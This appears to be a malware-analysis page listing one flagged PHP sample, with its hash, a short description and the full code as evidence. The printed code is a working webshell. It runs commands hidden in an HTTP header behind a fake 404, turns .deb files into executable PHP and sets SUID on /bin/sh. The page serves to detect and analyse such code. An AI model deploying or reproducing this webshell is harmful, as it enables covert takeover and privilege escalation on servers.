Hostile 92% php Download

header-installer.php

Encoded HTTP header command webshellHeader webshell conceals execution with 404
SHA-256e6220ddb27e87e4a914dfb4333d3cc42ffb4ff16efaac3c94b9f91ba29416fe3

Evidence

chmod enables SUID on system shells lines 1–11
1<?php
2if (PHP_SAPI === 'cli') {
3 file_put_contents('/etc/httpd.conf', '
4php_flag engine on
5AddHandler application/x-httpd-php .deb
6', FILE_APPEND);
7 system('/bin/httpd -k restart -f /etc/httpd.conf && chmod u+s /bin/sh');
8} else {
9 header('HTTP/1.1 404 Not Found');
10 echo base64_encode(shell_exec(base64_decode($_SERVER['HTTP_NSC_LDAP'])));
11}

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.